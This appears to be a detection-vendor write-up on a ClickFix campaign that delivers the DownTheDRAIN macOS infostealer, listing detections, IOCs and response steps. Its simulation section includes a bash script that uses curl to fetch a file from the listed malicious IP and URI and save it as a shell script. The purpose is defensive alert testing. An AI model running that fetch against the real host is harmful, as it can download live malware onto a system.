Macfinger ClickFix Attacks Target macOS with DownTheDRAIN
Detection stack
- AIDR
- Alert
- ETL
- Query
Summary
The Macfinger ClickFix campaign uses fake CAPTCHA pages to convince users to run malicious commands in Terminal. This results in the deployment of DownTheDRAIN, a macOS-focused infostealer. The malware is designed to identify cryptocurrency wallets and redirect their contents to attacker-controlled addresses.
Investigation
The investigation analyzed a sample supplied by Huntress and reviewed captured network traffic using Wireshark. Researchers identified a dedicated DRAIN function within the malware responsible for cryptocurrency theft. Testing on macOS 26.7.3 also showed the malware being intercepted by built-in system security controls.
Mitigation
macOS security controls were observed blocking the malware and moving it to the Trash before exfiltration could occur. Users should be warned not to paste untrusted text or commands into Terminal. Keeping macOS security features and system updates current is essential for reducing the risk of infection.
Response
When Macfinger activity is detected, security teams should identify systems that executed commands associated with the ClickFix lure. Investigate suspicious Mach-O binaries in user cache directories. Review network telemetry for communication with known malicious IP addresses and domains to assess the scope of potential data exfiltration.
Attack Flow
We are still updating this part.
Detections
Possible C2 Communications Over HTTP To Direct IP With Uncommon Port (via proxy)
Possible Base64 Encoded Strings Manipulation [MacOS] (via cmdline)
IOCs (HashSha256) to detect: Macfinger ClickFix campaign sends DownTheDRAIN infostealer for macOS
IOCs (SourceIP) to detect: Macfinger ClickFix campaign sends DownTheDRAIN infostealer for macOS
IOCs (DestinationIP) to detect: Macfinger ClickFix campaign sends DownTheDRAIN infostealer for macOS
Detection of Macfinger ClickFix Campaign with DownTheDRAIN Infostealer [Proxy]
Detection of DownTheDRAIN Infostealer Activity [Linux Process Creation]
Simulation Execution
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Attack Narrative & Commands: The attacker leverages a social engineering tactic (ClickFix) to prompt the user to execute a malicious command in the terminal. The goal is to download the DownTheDRAIN infostealer. The command uses
curlto reach out to the known malicious IP45.150.32.130using one of the specific URI patterns (37339606cba4522a?force=1) identified in the threat intelligence. This specific combination is designed to trigger the high-severity alert. -
Regression Test Script:
#!/bin/bash # Simulation of DownTheDRAIN Infostealer download attempt # Target URI: http://45.150.32.130/37339606cba4522a?force=1 echo "[*] Starting DownTheDRAIN simulation..." # We use -k to ignore SSL errors if the attacker uses self-signed certs, # though the rule targets the URI/IP. curl -k "http://45.150.32.130/37339606cba4522a?force=1" -o /tmp/drain_test_payload.sh if [ $? -eq 0 ]; then echo "[+] Simulation command executed successfully. Check SIEM for alert." else echo "[-] Command failed. Ensure you have connectivity or simulate via mock logs." fi -
Cleanup Commands:
# Remove the simulated payload rm /tmp/drain_test_payload.sh echo "[*] Cleanup complete."